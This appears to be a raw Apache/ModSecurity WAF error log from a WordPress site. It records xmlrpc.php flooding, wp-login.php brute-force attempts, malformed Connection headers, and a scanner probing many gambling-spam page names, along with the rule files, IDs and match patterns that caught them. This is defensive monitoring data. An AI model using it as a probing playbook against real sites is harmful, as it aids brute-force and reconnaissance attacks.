[Mon Mar 02 12:43:36.875325 2026] [:error] [pid 28908:tid 28929] [client 45.168.89.184:41327] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUVeIqJmC8ih_lQQnCNZAAAANM"]
[Mon Mar 02 12:44:36.895525 2026] [:error] [pid 28794:tid 28837] [client 45.168.89.184:40437] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUVtKVy2qpaelbUob2I8wAAAEE"]
[Mon Mar 02 12:45:36.891850 2026] [:error] [pid 28793:tid 28823] [client 45.168.89.184:40987] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUV8A2_fxBANaHo1f5mEQAAABA"]
[Mon Mar 02 12:46:36.903155 2026] [:error] [pid 21575:tid 21584] [client 45.168.89.184:40718] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUWLCrocdArcJqFfIk-lwAAAUU"]
[Mon Mar 02 12:47:36.918289 2026] [:error] [pid 31257:tid 31272] [client 45.168.89.184:40717] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUWaP-JFLfishX45N94dAAAAQk"]
[Mon Mar 02 12:48:36.923986 2026] [:error] [pid 21575:tid 21579] [client 45.168.89.184:40719] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUWpCrocdArcJqFfIk_5gAAAUA"]
[Mon Mar 02 12:49:36.940295 2026] [:error] [pid 21575:tid 21596] [client 45.168.89.184:40582] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUW4CrocdArcJqFfIlAeQAAAVE"]
[Mon Mar 02 12:50:36.955057 2026] [:error] [pid 28908:tid 28929] [client 45.168.89.184:41280] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUXHIqJmC8ih_lQQnCUbgAAANM"]
[Mon Mar 02 12:51:36.967365 2026] [:error] [pid 21575:tid 21595] [client 45.168.89.184:40801] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUXWCrocdArcJqFfIlB9QAAAVA"]
[Mon Mar 02 12:52:36.967501 2026] [:error] [pid 59734:tid 59758] [client 45.168.89.184:41110] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUXlJeWQx7ZQG9NybGFTwAAAVY"]
[Mon Mar 02 12:53:36.972699 2026] [:error] [pid 59734:tid 59738] [client 45.168.89.184:40434] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUX0JeWQx7ZQG9NybGGfwAAAUI"]
[Mon Mar 02 13:45:19.700730 2026] [:error] [pid 59734:tid 59748] [client 43.153.19.83:57448] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaUj75eWQx7ZQG9NybGmvAAAAUw"]
[Mon Mar 02 14:54:31.400581 2026] [:error] [pid 28847:tid 28855] [client 43.155.140.157:43656] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaU0J59xbBq8VfeqVDYqKQAAAMY"]
[Mon Mar 02 16:33:01.238742 2026] [:error] [pid 28847:tid 28863] [client 220.70.189.253:51937] [client 220.70.189.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.70.189.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaVLPZ9xbBq8VfeqVDZvPgAAAM4"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 02 16:33:03.199251 2026] [:error] [pid 28847:tid 28857] [client 220.70.189.253:51937] [client 220.70.189.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.70.189.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaVLP59xbBq8VfeqVDZvRwAAAMg"], referer: https://ohioprestigeconcrete.com/wp-login.php
[Mon Mar 02 18:52:50.478871 2026] [:error] [pid 59601:tid 59642] [client 125.94.144.102:60383] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaVsAsQ1lXfvWN0-ZQl2oAAAAEQ"]
[Mon Mar 02 19:30:09.308988 2026] [:error] [pid 28847:tid 28851] [client 43.157.38.228:60918] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaV0wZ9xbBq8VfeqVDb5DgAAAMI"]
[Mon Mar 02 20:35:08.863075 2026] [:error] [pid 28847:tid 28854] [client 20.104.86.139:4894] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaWD_J9xbBq8VfeqVDYtVAAAAMU"]
[Mon Mar 02 20:35:09.706875 2026] [:error] [pid 59600:tid 59616] [client 20.104.86.139:5021] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaWD_YQ5lE4yocV9IBdKSgAAAAc"]
[Mon Mar 02 20:35:10.591586 2026] [:error] [pid 28847:tid 28849] [client 20.104.86.139:5054] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaWD_p9xbBq8VfeqVDYtWwAAAMA"]
[Mon Mar 02 20:35:11.487307 2026] [:error] [pid 28847:tid 28855] [client 20.104.86.139:38159] [client 20.104.86.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaWD_59xbBq8VfeqVDYtYAAAAMY"]
[Mon Mar 02 20:51:29.752587 2026] [:error] [pid 28847:tid 28860] [client 51.83.9.208:56432] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaWH0Z9xbBq8VfeqVDY9qAAAAMs"]
[Mon Mar 02 20:51:31.900268 2026] [:error] [pid 59600:tid 59631] [client 51.83.9.208:35270] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaWH04Q5lE4yocV9IBdU6QAAABY"]
[Mon Mar 02 20:51:33.940762 2026] [:error] [pid 59600:tid 59618] [client 51.83.9.208:35282] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaWH1YQ5lE4yocV9IBdU7wAAAAk"]
[Mon Mar 02 20:51:36.039437 2026] [:error] [pid 59600:tid 59632] [client 51.83.9.208:35296] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaWH2IQ5lE4yocV9IBdU9wAAABc"]
[Mon Mar 02 20:51:38.233253 2026] [:error] [pid 28847:tid 28873] [client 51.83.9.208:43500] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaWH2p9xbBq8VfeqVDY9wwAAANg"]
[Mon Mar 02 20:51:40.323044 2026] [:error] [pid 59602:tid 59671] [client 51.83.9.208:43508] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaWH3DMtSo_Fr0lHnSZkTgAAAIY"]
[Mon Mar 02 20:51:42.590562 2026] [:error] [pid 59734:tid 59739] [client 51.83.9.208:43520] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaWH3peWQx7ZQG9NybEjrQAAAUM"]
[Mon Mar 02 20:51:44.628886 2026] [:error] [pid 59701:tid 59718] [client 51.83.9.208:43534] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaWH4OUmTDVso96U9_LS5wAAAQ4"]
[Mon Mar 02 20:51:47.096302 2026] [:error] [pid 28847:tid 28869] [client 51.83.9.208:43550] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaWH459xbBq8VfeqVDY90QAAANQ"]
[Mon Mar 02 20:51:48.997513 2026] [:error] [pid 59734:tid 59746] [client 51.83.9.208:42918] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaWH5JeWQx7ZQG9NybEjuQAAAUo"]
[Mon Mar 02 20:51:50.913980 2026] [:error] [pid 59600:tid 59629] [client 51.83.9.208:42934] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaWH5oQ5lE4yocV9IBdVDwAAABQ"]
[Mon Mar 02 20:51:53.036792 2026] [:error] [pid 28847:tid 28849] [client 51.83.9.208:42946] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaWH6Z9xbBq8VfeqVDY92wAAAMA"]
[Mon Mar 02 20:51:55.084523 2026] [:error] [pid 59600:tid 59623] [client 51.83.9.208:42962] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aaWH64Q5lE4yocV9IBdVHwAAAA4"]
[Mon Mar 02 20:51:57.432989 2026] [:error] [pid 59600:tid 59624] [client 51.83.9.208:42964] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aaWH7YQ5lE4yocV9IBdVKAAAAA8"]
[Mon Mar 02 20:51:59.384613 2026] [:error] [pid 59734:tid 59745] [client 51.83.9.208:36708] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aaWH75eWQx7ZQG9NybEj2gAAAUk"]
[Mon Mar 02 20:52:01.629201 2026] [:error] [pid 59602:tid 59686] [client 51.83.9.208:36714] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aaWH8TMtSo_Fr0lHnSZkdwAAAJU"]
[Mon Mar 02 20:52:03.808543 2026] [:error] [pid 59602:tid 59683] [client 51.83.9.208:36720] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaWH8zMtSo_Fr0lHnSZkfQAAAJI"]
[Mon Mar 02 20:52:06.095211 2026] [:error] [pid 59600:tid 59616] [client 51.83.9.208:36724] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaWH9oQ5lE4yocV9IBdVMAAAAAc"]
[Mon Mar 02 20:52:06.541021 2026] [:error] [pid 28847:tid 28867] [client 51.83.9.208:36730] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aaWH9p9xbBq8VfeqVDY98wAAANI"]
[Mon Mar 02 20:52:08.259838 2026] [:error] [pid 59600:tid 59633] [client 51.83.9.208:38452] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaWH-IQ5lE4yocV9IBdVNAAAABg"]
[Mon Mar 02 20:52:10.308127 2026] [:error] [pid 28847:tid 28868] [client 51.83.9.208:38466] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaWH-p9xbBq8VfeqVDY-AQAAANM"]
[Mon Mar 02 20:52:10.449407 2026] [:error] [pid 59600:tid 59611] [client 51.83.9.208:38472] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aaWH-oQ5lE4yocV9IBdVPwAAAAI"]
[Mon Mar 02 20:52:12.500041 2026] [:error] [pid 28847:tid 28852] [client 51.83.9.208:38478] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaWH_J9xbBq8VfeqVDY-CQAAAMM"]
[Mon Mar 02 20:52:14.717437 2026] [:error] [pid 59734:tid 59752] [client 51.83.9.208:38488] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaWH_peWQx7ZQG9NybEj7AAAAVA"]
[Mon Mar 02 20:52:17.075659 2026] [:error] [pid 59602:tid 59685] [client 51.83.9.208:38504] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaWIATMtSo_Fr0lHnSZkkAAAAJQ"]
[Mon Mar 02 20:52:19.304521 2026] [:error] [pid 59701:tid 59705] [client 51.83.9.208:48322] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaWIA-UmTDVso96U9_LS_gAAAQE"]
[Mon Mar 02 20:52:21.293617 2026] [:error] [pid 59602:tid 59673] [client 51.83.9.208:48330] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaWIBTMtSo_Fr0lHnSZkmgAAAIg"]
[Mon Mar 02 20:52:23.570710 2026] [:error] [pid 59600:tid 59610] [client 51.83.9.208:48340] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaWIB4Q5lE4yocV9IBdVTAAAAAE"]
[Mon Mar 02 20:52:25.812736 2026] [:error] [pid 59701:tid 59706] [client 51.83.9.208:48350] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaWICeUmTDVso96U9_LTIAAAAQI"]
[Mon Mar 02 20:53:03.363895 2026] [:error] [pid 28847:tid 28860] [client 51.83.9.208:48352] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aaWIL59xbBq8VfeqVDY-zwAAAMs"]
[Mon Mar 02 20:53:05.321693 2026] [:error] [pid 59600:tid 59609] [client 51.83.9.208:45580] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aaWIMYQ5lE4yocV9IBdVpwAAAAA"]
[Mon Mar 02 20:53:08.071325 2026] [:error] [pid 59600:tid 59633] [client 51.83.9.208:45596] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaWINIQ5lE4yocV9IBdVsAAAABg"]
[Mon Mar 02 20:53:10.023545 2026] [:error] [pid 59600:tid 59609] [client 51.83.9.208:37046] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aaWINoQ5lE4yocV9IBdVuQAAAAA"]
